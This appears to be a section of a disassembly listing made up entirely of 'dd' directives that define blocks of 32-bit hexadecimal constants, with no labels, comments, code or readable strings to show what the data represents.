		dd 37EE8002h, 1644505Ch, 0E98C0E4Bh, 0B0BE2959h, 0C033A98Eh
		dd 3A4E237Bh, 48C90BD4h, 5C82526Ch, 0F1111B9Ah,	982520DAh
		dd 34ACFFF2h, 78A0B44h,	8CC26110h, 58DC4A11h, 0DB882887h
		dd 9286F89Ah, 98325358h, 8F86B848h, 8F91083h, 5328AE86h
		dd 0F23ECE6h, 59C0FB01h, 0AC287592h, 0BF72FFB0h, 8CAD700h
		dd 0C11F8463h, 0B1F205F6h, 48E72E9Eh, 3B93548h,	0B745D31Ch
		dd 0C8214A46h, 6D78C3F0h, 4CFCBE09h, 818F889h, 0B1CEE2F8h
		dd 50BA4254h, 70422EB0h, 11C29A3Ch, 0F4949310h,	52939A2h
		dd 48D36167h, 2D82F2h, 0A564E90h, 48409A9Fh, 34B50B7Ch
		dd 0A280572Fh, 0D1007D6Ch, 9EF9B08Eh, 23FC57Bh,	0D2AD9B8Fh
		dd 104523F6h, 4403688h,	810A6C83h, 261A644h, 491D043Fh
		dd 5E5B890Ch, 0AE794688h, 0B804732Eh, 763A7811h, 40029698h
		dd 0F40B5A87h, 9DBC3973h, 2C63928h, 81C053E1h, 18C44186h
		dd 8C0BB066h, 0E0A032B6h, 12AB9DDEh, 5B001092h,	8AD1E9C8h
		dd 4843C105h, 80804CB2h, 82B73AFCh, 80E1EB38h, 0C9596F41h
		dd 263E45D8h, 4E482B57h, 0B3B6AA80h, 0BB00CF50h, 5B879105h
		dd 18EC6283h, 789E6EA6h, 0B4B8DCAAh, 0E8C27F4Bh, 36471D3h
		dd 6FE6B6C2h, 0F8A12801h, 0BA9EBFDBh, 9C48B87Ch, 2C896304h
		dd 0E8B820h, 90813A29h,	99D3C62h, 778B9142h, 0E8817079h
		dd 3CAC2DFFh, 2597E980h, 0CB0D7F48h, 0D4A8D473h, 0EB00EDF5h
		dd 415D4EBDh, 0EF99B140h, 0BCCE9081h, 0E8E75A7Eh, 9102DB1Dh
		dd 0F1FEF28Dh, 6458E763h, 674C601Bh, 0CD40249h,	6BBAAE09h
		dd 0AC84F9h, 0A15465Ch,	8C55457Ch, 0C6D1E409h, 970E2744h
		dd 13766C91h, 326A8847h, 0F8E00560h, 0C0C088A5h, 0B2238045h
		dd 978F0894h, 8716000Eh, 124570DCh, 0B5ACEEA3h,	5C76D4D0h
		dd 0C007E907h, 0C4BE091Fh, 4B80578Bh, 3A2884BEh, 8A81B287h
		dd 70C5E8A6h, 482F3FB3h, 0F2E8C73h, 4317D029h, 9CEB0200h
		dd 90BE67E0h, 274F470h,	12242E07h, 0E0F0C53Dh, 0DAEDE401h
		dd 38D3DCFFh, 36B83068h, 9AD1028Ch, 29DD1A8Dh, 87074474h
		dd 0D430246Dh, 47E738h,	768A8F15h, 0EC9EAAFFh, 41CAAE10h
		dd 242CD800h, 0B2D74A1h, 0C0BA52h, 15897EFEh, 4E78F680h
		dd 6428102Eh, 4890D689h, 0A50A3B76h, 0AAAA284Ch, 5459B500h
		dd 605FEF4Fh, 9315D80Eh, 0BE198C90h, 8F78431Eh,	0F8330021h
		dd 1530CDA2h, 3DA6FC37h, 205E8194h, 9FDB7250h, 0E8B0B405h
		dd 6CC8D5B1h, 0BB3D3DD0h, 0D756BA00h, 7FEFA718h, 0C66FA0E2h
		dd 9429D2D9h, 1A886C4Bh, 202A2EC0h, 0DA2D1FA2h,	0A0F88234h
		dd 48DA62EAh, 6698F708h, 80BA00BEh, 0B1061E0h, 4690F817h
		dd 9E92CC80h, 9D4B66Ah,	0D4C504DBh, 0B6039E4h, 0E01314A4h
		dd 3C02DCD2h, 581AB68Ah, 99F2F020h, 0CC425B0h, 60AACF00h
		dd 80A0583Eh, 4FA70028h, 361F43F4h, 0AB0003DBh,	87015633h
		dd 51AE8Dh, 0B6C9A43Eh,	722DEC82h, 0FC40B24Eh, 9A3CC43Ah
		dd 9223386Bh, 538E277Ah, 5A001C46h, 0DDEEE84Bh,	71C75C99h
		dd 0CE6B48D7h, 9A2A0B00h, 5A01E4D2h, 0E700067Fh, 1D081EF4h
		dd 3461538h, 9094EBD4h,	60FF4AA6h, 30EA113Bh, 44402BE3h
		dd 22E79B99h, 2C74B0A5h, 6284BD8Ah, 0C5093AB8h,	6016E4E4h
		dd 4828609Bh, 5A108893h, 88140C36h, 4FEFD99Fh, 26E4CAE7h
		dd 504268A0h, 0F4410004h, 3A006579h, 0C4E3DEFh,	76DC0A8h
		dd 32249FDCh, 0A9D500Dh, 5CE290EAh, 920C2CB8h, 5810CE96h
		dd 0B1FF0B57h, 280BD83Ch, 46BD5C97h, 1B1F550h, 1D16FFA5h
		dd 42F345A7h, 0E076B2F0h, 0DBB01080h, 0F9579CCAh, 22A2E073h
		dd 0F2AF30h, 8D387A11h,	0CED0FA0Fh, 0B00BD4A8h,	11A4979Dh
		dd 3C5480B9h, 16E97C13h, 815306h, 708A27BEh, 2D00912Ah
		dd 0F21DDB74h, 1E43D6B5h, 7C372Eh, 838FE6CEh, 0A2054429h
		dd 6E5E8876h, 30DAE00Bh, 61BF92E8h, 0A51C7199h,	40C22F0Ah
		dd 111C2A56h, 0C7E78072h, 878D8906h, 0C78F2100h, 10B44F9h
		dd 331BE72Dh, 2FA97C5Ah, 27357440h, 39152Ah, 0DCDB65C4h
		dd 0DDE483EFh, 6E865700h, 7F2C1D68h, 9F3E25AEh,	1013AC11h
		dd 0E2BEF8B1h, 95F630B7h, 0AA1EA620h, 8B8B503Eh, 0E7029288h
		dd 60CD645Ch, 0A80D498Ch, 78D5588h, 0AF3D643h, 56F9903Ah
		dd 5B002FAEh, 931441A8h, 4A7B5985h, 0F3A88102h,	3F43044h
		dd 93D0F44Ch, 0AFBA000Bh, 53576BE8h, 5FDF5828h,	94B33701h
		dd 0D6AE8C63h, 8F135C78h, 2EC0F1ADh, 1EBC0C00h,	13FE53D7h
		dd 0A26C4A3h, 0C445700h, 29A12AA6h, 4561356Bh, 6142E448h
		dd 23A846Dh, 0CA98E28Ch, 0BFA6B621h, 83B38100h,	0BA7074F9h
		dd 258F1B44h, 3485B0FAh, 0F0F8C9C6h, 6861C267h,	89145D49h
		dd 0F70E3032h, 9C41B1D9h, 742BBD0Eh, 0D552BC90h, 0F9C900B0h
		dd 5BAA077Fh, 0B4E4390Dh, 0BA01033Ah, 62BB8ADBh, 886CE059h
		dd 75BC8149h, 0F42D2B98h, 448C6621h, 72013708h,	93BF4427h
		dd 4384296h, 5485782Fh,	10E8A283h, 0C0180FA2h, 7EBDE8D9h
		dd 88E9C4Bh, 21C038C8h,	600BC5h, 0E7D4B8BDh, 0E2A5810Ah
		dd 22A01415h, 0EA1378C0h, 0C8F6B071h, 0A55A5B0h, 85E64700h
		dd 50BAD5E5h, 7E8817F5h, 9E744166h, 79E88CFDh, 272BCC8h
		dd 8FDAAECDh, 7CDEACBBh, 76207C80h, 40ED58Eh, 7144E0CEh
		dd 0C2EE8014h, 0C400CCCDh, 5DBB7DF1h, 9E78FA61h, 937B17B8h
		dd 0F592D108h, 5340747Ch, 7CDF8BCh, 0A41A8DDBh,	0EC820F93h
		dd 0F0E99A96h, 0F7AC4D3h, 5B232218h, 0A0454ED8h, 5EEE7E4h
		dd 0A95598A8h, 77C8BC11h, 0D0EB613h, 4BF1E4E4h,	0EC18C443h
		dd 54993BE4h, 0F51672A4h, 0B047F2A0h, 9C6209E7h, 2F2CE917h
		dd 76C474E2h, 5007CC46h, 59F50B4Eh, 0A4A47809h,	0E2D4F3CEh
		dd 6A7430B9h, 945FD501h, 3D8C6BDAh, 2F82743Ch, 3CFE9906h
		dd 0F4477345h, 47FFE4BAh, 10D27E34h, 566C41DDh,	0CC2B2E0Dh
		dd 8E0B3523h, 805C0198h, 9430C8D3h, 12CCBA7Bh, 0B04A587h
		dd 1C505D70h, 26D8A848h
		dd 4802F801h, 42BEDBD4h, 7588C1C4h, 5218046Eh, 0C5780009h
		dd 483698F7h, 0D6A1600Ch, 7CC05014h, 911D5726h,	0FD83FF24h
		dd 0A036E34Bh, 35D69EDh, 952A2837h, 60001746h, 0CC98A6DCh
		dd 483280E9h, 8700045Bh, 0D38EE1B6h, 78927529h,	0FA77530Eh
		dd 50BB0969h, 8AEA44A4h, 6A66B61Ah, 0BD5082E0h,	828D4D2h
		dd 96890792h, 3879BCh, 65E2DF95h, 4508B561h, 5020DA9h
		dd 0FDC28692h, 27BB1930h, 83170F68h, 50F605B3h,	0A7CF8100h
		dd 7F254992h, 8C1C5E59h, 81691498h, 3FA4A429h, 0E8DD9746h
		dd 0B0505620h, 0F87344ECh, 63500AF2h, 834EB2ACh, 0B88CC8Fh
		dd 0F8E800CBh, 508FDB13h, 0C805F084h, 0BA87CEA0h, 0C5A76BD7h
		dd 12AFE850h, 90620561h, 90425AAEh, 55AC8374h, 28548CAAh
		dd 80809009h, 85140990h, 4000BE9Ah, 0AD1A8F0Ch,	4BCCFE49h
		dd 0F3CD4C90h, 7F1900CFh, 0C9DFEF1Bh, 0C801BC13h, 5DB0C401h
		dd 407B2AB7h, 0AEEF7DE4h, 0E4A27126h, 0DB0750D1h, 16E0A2A8h
		dd 22D9CDDh, 0C8C28D2Fh, 3056537Dh, 51400DCh, 9544F013h
		dd 5402E668h, 945A86Dh,	251C72AEh, 70419C87h, 0E4A18740h
		dd 1DA0218Fh, 6F30BA2h,	0B34E12B5h, 5B2FB06Ch, 6CE84D56h
		dd 0DC00CB98h, 0BBD3E59Ah, 9DBF6F8h, 79D54C5Eh,	70A000F0h
		dd 0F3808972h, 74C70F1Eh, 0B57659Dh, 50878388h,	859192Ah
		dd 701810D9h, 0BEC0D15h, 0BA5501A4h, 0F9BBB727h, 0B8D08F4h
		dd 0EF92C6BEh, 36D144F1h, 0F22CA818h, 0CC605019h, 1DC12CCEh
		dd 0A4C20Eh, 0D99B9A4Eh, 4C1237BEh, 5804E7C7h, 97403F85h
		dd 0DB5606D5h, 23129F0Bh, 986C82E8h, 8824D43Bh,	0BC029102h
		dd 5AA90ED9h, 1EA60230h, 7DF709D3h, 0D92A8860h,	8D28BA00h
		dd 6EF811F2h, 64534C73h, 2565B72h, 0AEE790B4h, 9899C440h
		dd 8D7F4700h, 3CF3AC6Fh, 46B400CCh, 90A455D2h, 49503D96h
		dd 0EA1B8DBCh, 0A8903351h, 1920D154h, 899A52EFh, 0D668701Ch
		dd 80FF460Bh, 0E18C634Eh, 0AC2873B0h, 0ACE28FC1h, 0F0903FD4h
		dd 8BEE1817h, 3F5B1008h, 0A7C682F0h, 0D474722Eh, 45128F60h
		dd 1421B514h, 1F0508Eh,	27E290Ah, 0C87112F0h, 6249B041h
		dd 0B7CD00B4h, 0F4F72482h, 84142552h, 7620A466h, 0BC189DBDh
		dd 0AAF0CDAFh, 0B0C2B900h, 0F5C715C1h, 0F1740902h, 744D8464h
		dd 25CD2DC0h, 947F5098h, 31744B6h, 9F50F125h, 80201190h
		dd 2A06BEC0h, 0B8BB3D64h, 0AB1D0E00h, 3A98DB49h, 71900B9Dh
		dd 18CB79C8h, 0F7410BD1h, 9851260Eh, 0E8E92C45h, 9472D9ECh
		dd 434803Fh, 0AD70FCF2h, 203B8C82h, 5A29692h, 9A88FCBEh
		dd 133A1609h, 5AE0E95Ch, 1823C82Fh, 0C625B71Ch,	98800818h
		dd 200235E6h, 851E4AB6h, 88FC463Ch, 3E3A40C5h, 0A1823D4h
		dd 8A49553h, 0BD424E99h, 0CCCD1A78h, 0E0EDA062h, 2D145345h
		dd 902480F6h, 7084C8B2h, 94CEA900h, 0F4821961h,	97197h
		dd 6A8F86BEh, 877D0773h, 0A892D2F0h, 8C71292Ah,	9300B07Eh
		dd 9824A884h, 824DD696h, 126D58C0h, 7678F60Bh, 61D04A05h
		dd 59188F14h, 0F6218070h, 723FC057h, 0C7001280h, 2730BA76h
		dd 0B7BC84ADh, 0E8DE019h, 0DD00A39Eh, 0A3B98E63h, 0F02204FCh
		dd 90293E92h, 0ED995560h, 8AE7D503h, 0A9618363h, 47E1CADEh
		dd 98883C60h, 18525DBCh, 167EB448h, 0ACE9293Dh,	0D7B18024h
		dd 120ABE8Bh, 0F01CF20Bh, 6CB92904h, 1E1836D9h,	29DCD000h
		dd 0D4F8BC44h, 45A8A245h, 8371EE34h, 0EBDC0AE7h, 98F2F9B0h
		dd 0A0E3E4F9h, 817C7Eh,	5258C679h, 38FA8922h, 24500095h
		dd 4BBE9744h, 6E20D109h, 0B7C50733h, 0E41228BDh, 0F7045778h
		dd 857B090h, 4BEA028Ah,	0CFA34EA6h, 6E08D87Eh, 56C70A6Ch
		dd 2800D42Ch, 41C53D2Eh, 28CA5CF3h, 25F0D5E3h, 205AE289h
		dd 0D629BF05h, 80F9876Bh, 1EA0AB00h, 3874CDCFh,	187B5030h
		dd 4ADE96ECh, 0E834C580h, 5F848398h, 0C938807Fh, 0A4A55D87h
		dd 2FE1AE10h, 0AA3CE8D6h, 8A2200ADh, 0E5F19FEh,	25000AD7h
		dd 2009AEC7h, 585CFD2Bh, 8A104094h, 1C991331h, 0BA23043Fh
		dd 60416B0Eh, 2317FC49h, 5C43E277h, 8326A44Dh, 7644A74h
		dd 1045EEBEh, 0A1526D88h, 64A17275h, 0E72980B7h, 46982DC1h
		dd 0F4E25E9h, 0F002C0E3h, 238514E1h, 400C2404h,	48E47D63h
		dd 74320996h, 3084E862h, 2B94E149h, 0E4804CDBh,	0C747C0F0h
		dd 2DEFFD3Dh, 40E484h, 0AB7457DDh, 26CF1BA3h, 0E74FD101h
		dd 1FF814FAh, 4B72F0F0h, 40081E0Ah, 48E1B719h, 2958ACECh
		dd 230E8530h, 0D8F78880h, 0CA8D0013h, 0FBAF544Ch, 6E1D89EDh
		dd 17C21DC1h, 98412B0Bh, 5159FD0h, 0D550E10Ah, 0E85895D7h
		dd 8C20BC68h, 793DFA00h, 61655B17h, 0A77A1D3Eh,	0A4191E11h
		dd 0B92642C4h, 68BC9905h, 23542BD7h, 4D4900BAh,	0AB1C4EA5h
		dd 52AEEEC7h, 403062EBh, 0C1E5B35Fh, 0AAC9C31h,	301C3DC0h
		dd 7C761962h, 3C94510Bh, 13CCE4E8h, 89EAFFDBh, 0A53EC870h
		dd 0D6DC0397h, 83F10939h, 70C40167h, 9C0EFA45h,	0EF00A39Fh
		dd 0B8AA1777h, 8F592735h, 0CEC08C12h, 3C01ECA5h, 0F2F8A62Ch
		dd 982819B3h, 0ED46CF82h, 0E9118071h, 852C3A4Ch, 0F800FCC4h
		dd 0C36074C6h, 0B766CBDh, 836B750Fh, 1F001471h,	9A088C48h
		dd 0E0B8012Eh, 648753B4h, 0CBC82D81h, 91A41757h, 44CE8046h
		dd 42290B9h, 120C8AA1h,	0C058C06Ch, 251FFD56h, 0A00B5F1h
		dd 6479B083h, 435E03E4h, 0ACAE8FDBh, 4C03BADDh,	0F2D881DCh
		dd 8F84115h, 78207E02h,	0B50D9EA0h, 86881482h, 0D4E0C0EDh
		dd 0FBC36B87h, 8AB93020h, 82DE2882h, 6912B444h,	94A928C2h
		dd 0DB68905Ah, 1471AF81h, 0C4F28F0Ch, 300E2039h, 77390898h
		dd 140059A5h, 5ABEAEEBh, 67F1E40Dh, 0A962E8DCh,	6C70A86Ah
		dd 42805678h, 600842Ah,	8E284AE4h, 0E6F4ACh, 5C882565h
		dd 9F815A6Ch, 957B7098h, 1D07F609h, 0D6707EABh,	44DCE38h
		dd 0BEEEA7C5h, 0CB564504h, 0C07AC894h, 0F95EE7ADh, 2B3D6D7Fh
		dd 513612C7h, 14EDC404h, 5B840800h, 8A025592h, 89D21029h
		dd 607CE86Ah, 275300A3h, 91ABA488h, 64B7D317h, 40AC4FC4h
		dd 24FE1830h, 0BCA060D2h, 1CB8070Fh, 3D246497h,	3880D052h
		dd 690BE2EFh, 6B25D482h, 90E82C90h, 0BB05444Dh,	3C2F0A5Eh
		dd 88131023h, 74E35857h, 0E109448h, 76D10233h, 487A80F7h
		dd 0F6A1F954h, 0E6961301h, 44CCA448h, 0F488D45Ah, 9FA8AB79h
		dd 0DC000CE7h, 0BD0B1A78h, 110D18A2h, 3AC99D0Fh, 9A385480h
		dd 284381E6h, 67C309E4h, 6017C410h, 5BB6870Ch, 1A684526h
		dd 49B8ACF5h, 1C04D610h, 41667DAh, 421962DCh, 0C538E2A0h
		dd 7150A918h, 2118B4h, 0AEC0F50Dh, 4BAC8490h, 0B10070BCh
		dd 0B791EF24h, 0E4E12FD4h, 80535804h, 2DA4B8CCh, 84A0FA52h
		dd 215FE7B1h, 0C014ED2Dh, 168EEB6Ah, 0F3FFD905h, 0C0F945D6h
		dd 7079811h, 8A5E848Fh,	0D4B8C242h, 0B15A0E70h,	0AE7F5861h
		dd 6C216F16h, 4912EA88h, 9F003444h, 0FE36AD1Eh,	2328AF7h
		dd 0B8844EDFh, 0D08206F2h, 7C0B76C2h, 14506144h, 34402A81h
		dd 0ECC982E3h, 0DA0226C6h, 3D84003Ch, 0BDFA580h, 81524800h
		dd 0BB43C8B7h, 91CA2597h, 0C5BF3C69h, 58CD6F68h, 0D6DFAC00h
		dd 0ACD302F2h, 0D28E9223h, 98F6B0C8h, 28CE68EEh, 0F8F262DAh
		dd 4DC4ECDh, 473CA7FAh,	0DC50A83Dh, 36F4E2h, 0C0DAB071h
		dd 0E1D0444Ah, 26F6420Fh, 0B8D3E0BDh, 491A8B6Ch, 0B34E98A9h
		dd 0A2013478h, 924A1CB8h
		dd 0ECC7EDF4h, 6B6019E4h, 0EB003EF3h, 118FA940h, 0C81848F2h
		dd 45858BD1h, 9CFDE1DDh, 147C830Ah, 0EF2F0298h,	947E058Bh
		dd 683200DCh, 34D3C9B1h, 0A02DF60Ch, 41B0C0AAh,	242E0072h
		dd 0B7EFE8Fh, 0EE009F2Ah, 7062818h, 0A6815Ch, 0B24F01E8h
		dd 71B4A21Dh, 16B0025Ch, 0A0910462h, 7B00D918h,	37E06785h
		dd 8CC47800h, 33CA0106h, 0D4D61349h, 627CF03Ah,	3B031942h
		dd 0D07CEA8Fh, 3812402Dh, 0E5A015BCh, 0D3C20C35h, 219465C0h
		dd 2A09D71Ch, 2C3A688Ch, 169076B0h, 2B8C0D2h, 0F8960E22h
		dd 44C2B468h, 2064D3F2h, 4F023138h, 0C245F2F9h,	810A810Fh
		dd 12B851Ah, 63D6E1D8h,	3E6F8F8h, 940EA9Dh, 0DCACA07Ch
		dd 9D3CB0F1h, 8A4E5C66h, 0FC3D1CB1h, 7FF0C8D7h,	0AA780E74h
		dd 8120DB52h, 0EF6B4586h, 5790E201h, 0A99EC2ACh, 0DD17BC68h
		dd 0A83EA128h, 6C107086h, 1C82AE62h, 90700621h,	78F800FFh
		dd 0F80795B2h, 0A0F56280h, 0E825A472h, 58F073AAh, 8B031219h
		dd 0E269370Eh, 79B112D8h, 0C080A931h, 0E4668FC8h, 808300E3h
		dd 8BFDBCEAh, 0A80EC16Bh, 252D9858h, 90818F53h,	0E89D2940h
		dd 335C40AAh, 22050484h, 0C921B918h, 9F2F21h, 44900F12h
		dd 0F811B784h, 4CD4B304h, 77C2A1F7h, 64205F77h,	2A216CE2h
		dd 2437F00h, 7F9BC24h, 0FC5B09B5h, 38007744h, 0E4C4F779h
		dd 593CFA01h, 380C852h,	5CF00466h, 2EE8A86Bh, 96168CE6h
		dd 0E0801280h, 40DEB698h, 0C404F8F0h, 0E194A9B3h, 0A1182BFEh
		dd 20201259h, 0CF45F07h, 0F208D23Ch, 40C6A140h,	793EBFC7h
		dd 82BB18EDh, 0C6EA5510h, 187BD908h, 8421A31h, 188CB11Eh
		dd 2F08867Ah, 41603D62h, 6F0903FAh, 0C24E1010h,	8B8361Bh
		dd 0A002F1DAh, 484F03DAh, 6B695019h, 0EE03F941h, 0DEC23119h
		dd 208C6789h, 0DB086420h, 401A8040h, 99C48413h,	7004B24Dh
		dd 97D60481h, 2043B606h, 5D80E9FCh, 0E14680D3h,	0D4CB08C4h
		dd 6C13504h, 223050B8h,	0E340B98Fh, 6FF9C60Ah, 6733589Ah
		dd 1059086Ch, 10AD6B59h, 0B410B0D4h, 8C1E19D1h,	2E69128h
		dd 6E06FFA2h, 0E1BA6351h, 103FDF09h, 0E408E3CFh, 0C518106Dh
		dd 0CE321085h, 1998733h, 91C67131h, 0B88C4698h,	7769A54Ah
		dd 1BB718C6h, 618DF508h, 9C4190D8h, 49E07D31h, 0E2A106Dh
		dd 0DD4033A0h, 831F6A1h, 8A62D993h, 695A508Ch, 81CC9708h
		dd 0A89EA98Eh, 80BB0E98h, 8C6E759h, 202894A5h, 0AE54BCADh
		dd 41634D90h, 33474C88h, 91194408h, 0FBC03918h,	0C676C808h
		dd 8754B40h, 0F1958651h, 0D318889h, 96FA0CF5h, 0CCA9AE20h
		dd 1514247Ch, 16085B63h, 6E68194Fh, 9FD01011h, 49E0B7B1h
		dd 20311C32h, 0AABD14B1h, 0BC649411h, 6091B439h, 1895A997h
		dd 4108022h, 217D32CCh,	19C04916h, 9BA0B98Ch, 7340A308h
		dd 86140E5h, 7A338C92h,	1B3C109Dh, 8AE4891h, 18181FDBh
		dd 22080B65h, 0A7C0803Dh, 985120CAh, 180DAA8Ch,	0F6D2408Ah
		dd 196431C4h, 4E46A04h,	1004A88Ah, 1880067Fh, 0AC6B3108h
		dd 1781118h, 1088E651h,	8C0C70E0h, 455D086Eh, 626C5118h
		dd 0A52B01FAh, 31190803h, 9A51CBBBh, 1EA6301h, 90433F7Bh
		dd 0F511139Eh, 0B71C488Bh, 0CB52D08h, 44189FDEh, 7C495892h
		dd 0F75610D0h, 2AF62410h, 1C31A0C6h, 0DB8108CAh, 99450B01h
		dd 7349B330h, 0A8291824h, 0CA1510ECh, 92A87C08h, 5185371h
		dd 88B2BF2Ah, 1E0BF3A0h, 405D96ABh, 2D1DDC3Ch, 44037EC3h
		dd 38E05C08h, 4F172F3Fh, 360BFC89h, 27D06866h, 8BEC01h
		dd 0CC7749F1h, 37F72BD7h, 0F8791D0Fh, 0E52CC5DDh, 121CC8h
		dd 746BD271h, 0B3226CD4h, 3299E0Ch, 17F62075h, 0F4C2BBA4h
		dd 0C14F1E1Ch, 0DBCFC41h, 58808A91h, 6D6A7B04h,	0FC0311F7h
		dd 5DC4832Bh, 0C9C8000Ah, 722FF9DAh, 53003BDDh,	0F2806684h
		dd 17A51114h, 279058Ah,	0B3835B95h, 8489D4FEh, 308727Bh
		dd 0B2E7619Bh, 0B8034AF5h, 18ACDD78h, 93DEC84Bh, 0F7DB03D9h
		dd 0C6D6F41Dh, 563940BEh, 2FB05844h, 0E574E0E4h, 3A4A3229h
		dd 247EDC60h, 0FC8B0809h, 0E71E74h, 81CBE304h, 5405E089h
		dd 6D44CE82h, 17A39100h, 4B02FA1Dh, 0BEF0827Dh,	4DB48C80h
		dd 953C56D1h, 82A28ACh,	7A7F3903h, 0D4A403h, 90A66428h
		dd 0E3CA9DD6h, 74E67228h, 2B10EC0Eh, 55103857h,	18E860A3h
		dd 0D680158Ch, 0CB9D724h, 5B56203h, 88A830F6h, 798F3DD0h
		dd 0C5BAE814h, 0A90F80D0h, 0F09C4483h, 0ADC21C12h, 755F81h
		dd 0C65C4E77h, 9D00F657h, 0F378D35Fh, 7FE1BF1Dh, 3A0705A9h
		dd 0F0E0D52Fh, 63140420h, 9ACF4F9h, 20113C2Ah, 7C5BAE00h
		dd 72131F4Ch, 8C6947Fh,	0CB01E801h, 814EC2ACh, 5CD7280h
		dd 92F05AC1h, 0CED83AC5h, 42877100h, 29314B74h,	58D0657Dh
		dd 0C0433F34h, 0CC41E953h, 3822B01Eh, 91BD9200h, 0C083608Ch
		dd 5300A0A4h, 793AB199h, 60DA29D2h, 0AC9E1852h,	91016DA9h
		dd 0D6067D62h, 0A4429305h, 0E0A24325h, 48ADB258h, 0FE06284Bh
		dd 50C4C655h, 6D0DAC18h, 746C70h, 813DADDDh, 365CE2A3h
		dd 1FA94613h, 91BA48F0h, 0FF4828Ch, 25C2901Dh, 0C3D5BC00h
		dd 9D04024Eh, 998959E4h, 30786081h, 9840F402h, 8D00A65Ch
		dd 9C24BA20h, 779EE80Dh, 11E50596h, 8258A86h, 3A40C880h
		dd 185505C4h, 786ACAB2h, 0AC18A095h, 0F9209F36h, 5DCD0901h
		dd 0CC1005BCh, 69097E6Ch, 2C0BE0AAh, 5F2AA8E8h,	0F5CCA076h
		dd 0DCBBA612h, 18C3F032h, 0AC3A911Dh, 0E510606Ch, 0F607EB50h
		dd 255129ADh, 23BC0C28h, 9717110h, 98CD3Ah, 0E389AD75h
		dd 2455F9DBh, 0B06CD1C0h, 0AC4F0FD8h, 752D5D02h, 0C1FF9861h
		dd 1C213E05h, 12F56858h, 9DEE8D8h, 0B987566Bh, 0D12BE1ADh
		dd 5209FFCh, 0C82AEB5Ch, 13E2D42h, 515F5019h, 0A8E86024h
		dd 0CE9D5702h, 84315532h, 0A08089C4h, 75976988h, 0B881242Bh
		dd 4CBB3C7Fh, 7E866000h, 19753A83h, 228E7B01h, 0FEB8F131h
		dd 5A0430h, 2AE9FC76h, 7081392Fh, 1980F603h, 0F8BC0125h
		dd 0E7A48Fh, 7B93D47h, 4D2B0CE9h, 0CBD96160h, 2F4F26Ch
		dd 0D54CE2C4h, 7C699CA5h, 3E2B087Dh, 9580F8ACh,	29814290h
		dd 40C0EBE1h, 5697792Eh, 0B2FE0C8Eh, 6D30F028h,	9943B700h
		dd 0F7792D4Fh, 1C3CB04Ah, 4120CABAh, 0D2D66512h, 83688235h
		dd 808D066Fh, 0B3E377B0h, 0C38CC7BAh, 0A6DDC0B5h, 0D4289C3Dh
		dd 3504A0C6h, 2F2B6EE4h, 78D66CF0h, 7D8498ACh, 7C291A57h
		dd 58B018F6h, 0A80ECCB2h, 0FF945BEh, 4C8480C7h,	51644FCh
		dd 89F65C91h, 784D2h, 7B28778h,	91026830h, 707975F4h, 0FCAC44EFh
		dd 50D960E4h, 2611E099h, 0C71E3203h, 0A82C6DB4h, 0A02EB6B2h
		dd 0D6FAECh, 9D057880h,	0F7D13A59h, 0F5F23098h,	0C8BA8212h
		dd 0BED61421h, 3A83FC24h, 0A230EAB8h, 692C1520h, 503CBD4Dh
		dd 0CA132BA8h, 44279C49h, 0D0D05CB7h, 998979F3h, 0C3DB40C4h
		dd 0DA54CA44h, 6F7D0FF4h, 0D7D88500h, 0A93B30BAh, 751DE71h
		dd 60F1212Eh, 9EC51EC0h, 0D3148h, 0DDAA81E6h, 0EC2BB018h
		dd 0B846005Eh, 0D501A072h, 8B27B260h, 76CE8C7h,	9E020E20h
		dd 171004h, 9D8A880Dh, 2918CBD2h, 3A98F352h, 21921354h
		dd 8A02171h, 0D2D8483Dh, 7850C260h, 9215BBD5h, 0EBD098D8h
		dd 683145E1h, 0A9333820h, 10303584h, 10DC6118h,	0C81DC13Ah
		dd 7E85393h, 0E071B238h, 0A8F57550h, 670A34B3h,	62F4CCB1h
		dd 18006282h
		dd 0A04E43F4h, 7FD381E4h, 9FD5055Dh, 808A6B84h,	0BA2B90E9h
		dd 3C7A4500h, 938C4D73h, 0B03A0766h, 0E04334A5h, 0D23DE62Ch
		dd 81036D78h, 955EC7B4h, 1E0C01C1h, 0AC67056Ah,	60076FEEh
		dd 6E134806h, 47C0E0F0h, 0D60C0B23h, 8420CC62h,	0E78990B7h
		dd 9606F0ACh, 0E4A5B3B9h, 9E30B110h, 2D0F60C8h,	9805F958h
		dd 53845531h, 127BA817h, 33F95CA9h, 0BEDAAC30h,	8C76469h
		dd 0C8AA4C1Eh, 5F24B8D0h, 52B8E40h, 71E81838h, 900E57Ch
		dd 580154F7h, 63E76989h, 8EACB0C0h, 7D3AE913h, 0A4DDE00h
		dd 30B21761h, 0D668F90Fh, 512EC38Fh, 803D0808h,	0DB5A856Ah
		dd 4C7B5471h, 0F0C0DC8Dh, 0F228B137h, 2C7D9890h, 81B2BF01h
		dd 0F8B3D7B0h, 0D3A0012Eh, 48E3E770h, 9F8835FCh, 5455006Fh
		dd 8B15E510h, 0F40976C3h, 509EF979h, 2AD61904h,	0D5B170ECh
		dd 0F4302420h, 7E99C0C0h, 3FE9741h, 725BDE01h, 48B205D0h
		dd 17DD08E0h, 4849853Eh, 58435B08h, 0BAB3BA9Eh,	0CE28485Dh
		dd 0A695055Ah, 11690121h, 55C4EC94h, 1E1CC448h,	0CF7F0778h
		dd 0E85796CEh, 0F3120C9Eh, 8AFA2C40h, 0A021E47h, 0A8FEACA6h
		dd 0DDD880E0h, 0DC6A2C45h, 0FD4D6C90h, 70C9828Ch, 0C040CA7Dh
		dd 1BDC920Ch, 9126AFFFh, 0F82EDAC1h, 0A8342B57h, 240F9883h
		dd 80759710h, 24578609h, 181E0DC8h, 29286966h, 0F9EA1703h
		dd 0F8E1C11Eh, 37B28DC0h, 20C8742Fh, 97B3C3E3h,	0A61080FFh
		dd 0C282262Eh, 3870E93Bh, 0DB590052h, 8F258569h, 38B4C981h
		dd 0A696AC84h, 91064400h, 7426B29Fh, 6B09D0A5h,	755083D8h
		dd 80E8405Fh, 0C01784C5h, 0C00680C6h, 127898BAh, 41E8418Fh
		dd 8B3C458h, 6A828AEh, 67ACA43h, 0A8980140h, 0A9B2EBE9h
		dd 77589226h, 6BB400AFh, 0FE0322BDh, 917A2F02h,	403FB456h
		dd 0ED0B87A4h, 7BCA1460h, 0ECF3E66h, 0E4752700h, 0D9A34419h
		dd 71307B00h, 3A7F6F84h, 2A030BC5h, 70A0F457h, 0E08A1D1Fh
		dd 619AAC19h, 433FAEC0h, 60D669C0h, 0E830D3F8h,	0ECF93D17h
		dd 0F5719005h, 0D5738CC0h, 30E259DBh, 94806A3Bh, 0AED6E3C9h
		dd 0FCF9B8C3h, 0D07D44A1h, 0B0007BF3h, 39801586h, 53D7489h
